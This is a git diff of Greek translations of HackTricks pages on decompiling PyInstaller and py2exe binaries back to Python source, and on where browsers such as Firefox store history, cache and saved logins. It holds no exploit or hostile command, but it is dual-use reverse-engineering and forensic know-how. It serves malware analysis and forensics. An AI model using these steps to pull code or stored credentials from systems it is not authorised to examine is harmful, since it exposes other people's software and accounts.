Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους **δωρεάν** στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Αποσυναρμολόγηση μεταγλωττισμένων δυαδικών αρχείων Python (exe, elf) - Ανάκτηση από το .pyc
# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερευνητής Ερυθρής Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Από Μεταγλωττισμένο Δυαδικό σε .pyc
## Από Συγκεντρωμένο Δυαδικό σε .pyc
Από ένα **ELF** μεταγλωττισμένο δυαδικό μπορείτε να **ανακτήσετε το .pyc** με:
Από ένα **ELF** συγκεντρωμένο δυαδικό μπορείτε να **πάρετε το .pyc** με:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
@ -41,38 +42,38 @@ pyi-archive_viewer <binary>
? X binary_name
to filename? /tmp/binary.pyc
```
Σε ένα **δυαδικό αρχείο εκτελέσιμου Python**, μπορείτε να **λάβετε το αρχείο .pyc** εκτελώντας:
Σε ένα **python exe binary** που έχει μεταγλωττιστεί, μπορείτε να **πάρετε το .pyc** εκτελώντας:
```bash
python pyinstxtractor.py executable.exe
```
## Από το .pyc στον κώδικα Python
## Από .pyc σε κώδικα python
Για τα δεδομένα **.pyc** ("μεταγλωττισμένο" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξάγετε** τον **αρχικό** **κώδικα** **Python**:
Για τα **.pyc** δεδομένα ("συμπιεσμένος" python) θα πρέπει να ξεκινήσετε προσπαθώντας να **εξαγάγετε** τον **αρχικό** **κώδικα** **python**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Βεβαιωθείτε** ότι το δυαδικό αρχείο έχει την **επέκταση** "**.pyc**" (αν όχι, το uncompyle6 δεν θα λειτουργήσει)
Κατά την εκτέλεση του **uncompyle6** ενδέχεται να συναντήσετε τα **παρακάτω σφάλματα**:
Κατά την εκτέλεση του **uncompyle6** μπορεί να βρείτε τα **παρακάτω σφάλματα**:
### Σφάλμα: Άγνωστος μαγικός αριθμός 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Για να διορθώσετε αυτό, χρειάζεται να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του δημιουργημένου αρχείου.
Για να το διορθώσετε, πρέπει να **προσθέσετε τον σωστό μαγικό αριθμό** στην αρχή του παραγόμενου αρχείου.
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση της Python**, για να πάρετε τον μαγικό αριθμό της **Python 3.8** θα πρέπει να **ανοίξετε ένα τερματικό Python 3.8** και να εκτελέσετε:
**Οι μαγικοί αριθμοί διαφέρουν ανάλογα με την έκδοση python**, για να αποκτήσετε τον μαγικό αριθμό της **python 3.8** θα χρειαστεί να **ανοίξετε ένα τερματικό python 3.8** και να εκτελέσετε:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Ο **μαγικός αριθμός** σε αυτήν την περίπτωση για το python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα πρέπει να **προσθέσετε** στην **αρχή** του **αρχείου .pyc** τα ακόλουθα bytes: `0x0d550a0d000000000000000000000000`
Ο **μαγικός αριθμός** σε αυτή την περίπτωση για python3.8 είναι **`0x550d0d0a`**, στη συνέχεια, για να διορθώσετε αυτό το σφάλμα θα χρειαστεί να **προσθέσετε** στην **αρχή** του **.pyc αρχείου** τα εξής bytes: `0x0d550a0d000000000000000000000000`
**Μόλις** προσθέσετε αυτήν τη μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
**Μόλις** έχετε **προσθέσει** αυτή την μαγική κεφαλίδα, το **σφάλμα θα πρέπει να διορθωθεί.**
Έτσι θα μοιάζει μια σωστά προστεθείσα **μαγική κεφαλίδα .pyc του python3.8**:
Αυτή είναι η εμφάνιση μιας σωστά προστιθέμενης **.pyc python3.8 μαγικής κεφαλίδας**:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +81,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Σφάλμα: Αποσυναρμολόγηση γενικών σφαλμάτων
### Σφάλμα: Αποσυμπίεση γενικών σφαλμάτων
**Άλλα σφάλματα** όπως: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` μπορεί να εμφανιστούν.
Αυτό πιθανότατα σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
Αυτό πιθανώς σημαίνει ότι **δεν έχετε προσθέσει σωστά** τον μαγικό αριθμό ή ότι δεν έχετε **χρησιμοποιήσει** τον **σωστό μαγικό αριθμό**, οπότε βεβαιωθείτε ότι χρησιμοποιείτε τον σωστό (ή δοκιμάστε έναν νέο).
Ελέγξτε την προηγούμενη τεκμηρίωση σφαλμάτων.
## Αυτόματο Εργαλείο
Το [**εργαλείο python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων που είναι διαθέσιμα στην κοινότητα και σχεδιάστηκαν για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυναρμολόγηση εκτελέσιμων που έχουν γραφτεί σε Python, ειδικά αυτών που δημιουργήθηκαν με τα py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για την αναγνώριση εάν ένα εκτελέσιμο βασίζεται σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
Το [**εργαλείο python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) λειτουργεί ως συνδυασμός αρκετών εργαλείων διαθέσιμων στην κοινότητα που έχουν σχεδιαστεί για να βοηθήσουν τους ερευνητές στην αποσυμπίεση και αποσυμπίεση εκτελέσιμων αρχείων γραμμένων σε Python, συγκεκριμένα αυτών που δημιουργήθηκαν με py2exe και pyinstaller. Περιλαμβάνει κανόνες YARA για να προσδιορίσει αν ένα εκτελέσιμο είναι βασισμένο σε Python και επιβεβαιώνει το εργαλείο δημιουργίας.
### ImportError: Όνομα αρχείου: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' δεν υπάρχει
Ένα συνηθισμένο πρόβλημα που συναντάται εμπλέκει ένα ατελές αρχείο bytecode Python που προκύπτει από τη διαδικασία **αποσυμπίεσης με το unpy2exe ή το pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω απουσιάζουσας αριθμησης έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, προστέθηκε μια επιλογή προσάρτησης, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυναρμολόγησης.
Ένα κοινό πρόβλημα που συναντάται περιλαμβάνει ένα ατελές αρχείο bytecode Python που προκύπτει από τη **διαδικασία αποσυμπίεσης με unpy2exe ή pyinstxtractor**, το οποίο στη συνέχεια **αποτυγχάνει να αναγνωριστεί από το uncompyle6 λόγω έλλειψης αριθμού έκδοσης bytecode Python**. Για να αντιμετωπιστεί αυτό, έχει προστεθεί μια επιλογή prepend, η οποία προσθέτει τον απαραίτητο αριθμό έκδοσης bytecode Python, διευκολύνοντας τη διαδικασία αποσυμπίεσης.
Παράδειγμα του προβλήματος:
```python
@ -114,9 +115,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
## Ανάλυση python assembly
## Ανάλυση της συναρμολόγησης python
Αν δεν μπορέσατε να εξάγετε το "πρωτότυπο" κώδικα Python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξάγετε** το **assembly** (αλλά **δεν είναι πολύ περιγραφικό**, οπότε **προσπαθήστε** να εξάγετε **ξανά** τον πρωτότυπο κώδικα). Σε [αυτό το σύνδεσμο](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για **αποσυναρμολόγηση** του αρχείου _.pyc_ (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το αρχείο _.pyc_ είναι από Python 2, χρησιμοποιήστε την Python 2:
Αν δεν μπορέσατε να εξαγάγετε τον "αρχικό" κώδικα python ακολουθώντας τα προηγούμενα βήματα, τότε μπορείτε να προσπαθήσετε να **εξαγάγετε** τη **συναρμολόγηση** (αλλά **δεν είναι πολύ περιγραφική**, οπότε **προσπαθήστε** να εξαγάγετε **ξανά** τον αρχικό κώδικα). Στο [εδώ](https://bits.theorem.co/protecting-a-python-codebase/) βρήκα έναν πολύ απλό κώδικα για να **αποσυναρμολογήσετε** το _.pyc_ δυαδικό (καλή τύχη στην κατανόηση της ροής του κώδικα). Αν το _.pyc_ είναι από python2, χρησιμοποιήστε python2:
```bash
>>> import dis
>>> import marshal
@ -159,15 +160,15 @@ True
14 LOAD_CONST 0 (None)
17 RETURN_VALUE
```
## Μετατροπή από Python σε εκτελέσιμο
## Python to Executable
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν τα φορτία να μεταγλωττιστούν σε py2exe και PyInstaller.
Για να ξεκινήσουμε, θα σας δείξουμε πώς μπορούν να συμπιεστούν οι payloads σε py2exe και PyInstaller.
### Για να δημιουργήσετε ένα φορτίο χρησιμοποιώντας το py2exe:
### Για να δημιουργήσετε μια payload χρησιμοποιώντας το py2exe:
1. Εγκαταστήστε το πακέτο py2exe από [http://www.py2exe.org/](http://www.py2exe.org)
2. Για το φορτίο (σε αυτήν την περίπτωση, θα το ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό στο Σχήμα 1. Η επιλογή "bundle\_files" με την τιμή 1 θα συγκεντρώσει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα εκτελέσιμο αρχείο.
3. Μόλις το σενάριο είναι έτοιμο, θα δώσουμε την εντολή "python setup.py py2exe". Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στο Σχήμα 2.
2. Για την payload (σε αυτή την περίπτωση, θα την ονομάσουμε hello.py), χρησιμοποιήστε ένα σενάριο όπως αυτό στην Εικόνα 1. Η επιλογή “bundle\_files” με την τιμή 1 θα συμπεριλάβει τα πάντα, συμπεριλαμβανομένου του διερμηνέα Python, σε ένα exe.
3. Μόλις το σενάριο είναι έτοιμο, θα εκδώσουμε την εντολή “python setup.py py2exe”. Αυτό θα δημιουργήσει το εκτελέσιμο, ακριβώς όπως στην Εικόνα 2.
```python
from distutils.core import setup
import py2exe, sys, os
@ -198,7 +199,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
### Για να δημιουργήσετε ένα payload χρησιμοποιώντας το PyInstaller:
1. Εγκαταστήστε το PyInstaller χρησιμοποιώντας το pip (pip install pyinstaller).
2. Στη συνέχεια, θα δώσουμε την εντολή "pyinstaller --onefile hello.py" (να θυμάστε ότι το 'hello.py' είναι το payload μας). Αυτό θα συσκευάσει τα πάντα σε ένα εκτελέσιμο αρχείο.
2. Μετά από αυτό, θα εκδώσουμε την εντολή “pyinstaller onefile hello.py” (υπενθύμιση ότι το hello.py είναι το payload μας). Αυτό θα συγκεντρώσει τα πάντα σε ένα εκτελέσιμο αρχείο.
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@ -217,20 +218,21 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,77 +1,81 @@
# Αποτυπώματα Περιηγητή
# Browser Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
## Αποτυπώματα Περιηγητών <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Τα αποτυπώματα των περιηγητών περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα cache. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύοντας παρόμοιους τύπους δεδομένων.
Τα αρχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους προγράμματα περιήγησης ιστού, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αρχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των προγραμμάτων περιήγησης, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Εδώ υπάρχει ένα σύνοψη των πιο κοινών αποτυπωμάτων περιηγητών:
Ακολουθεί μια περίληψη των πιο κοινών αρχείων του προγράμματος περιήγησης:
* **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας εισαγωγές όταν συνδυαστούν με το ιστορικό πλοήγησης.
* **Σελιδοδείκτες**: Ιστότοποι που έχουν αποθηκευτεί από τον χρήστη για γρήγορη πρόσβαση.
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις περιηγητή ή πρόσθετα που έχουν εγκατασταθεί από τον χρήστη.
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για βελτίωση των χρόνων φόρτωσης του ιστότοπου, πολύτιμο για ανάλυση ψηφιακών αποτυπωμάτων.
* **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
* **Εικονίδια Αγαπημένων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
* **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
* **Λήψεις**: Εγγραφές αρχείων που κατέβηκαν μέσω του περιηγητή.
* **Δεδομένα Φόρμας**: Πληροφορίες που εισήχθησαν σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
* **Εικόνες Προεπισκόπησης**: Προεπισκόπηση ιστοτόπων.
* **Custom Dictionary.txt**: Λέξεις που προστέθηκαν από τον χρήστη στο λεξικό του περιηγητή.
* **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης.
* **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση.
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις ή πρόσθετα του προγράμματος περιήγησης που εγκαθιστά ο χρήστης.
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση.
* **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
* **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
* **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης.
* **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης.
* **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
* **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
* **Custom Dictionary.txt**: Λέξεις που προστίθενται από τον χρήστη στο λεξικό του προγράμματος περιήγησης.
## Firefox
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, τα οποία αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους καταχωρεί τα προφίλ του χρήστη. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε ένα φάκελο με το όνομα που αναφέρεται στη μεταβλητή `Path` μέσα στο `profiles.ini`, το οποίο βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο του. Αν ένας φάκελος προφίλ είναι απουσιάζει, μπορεί να έχει διαγραφεί.
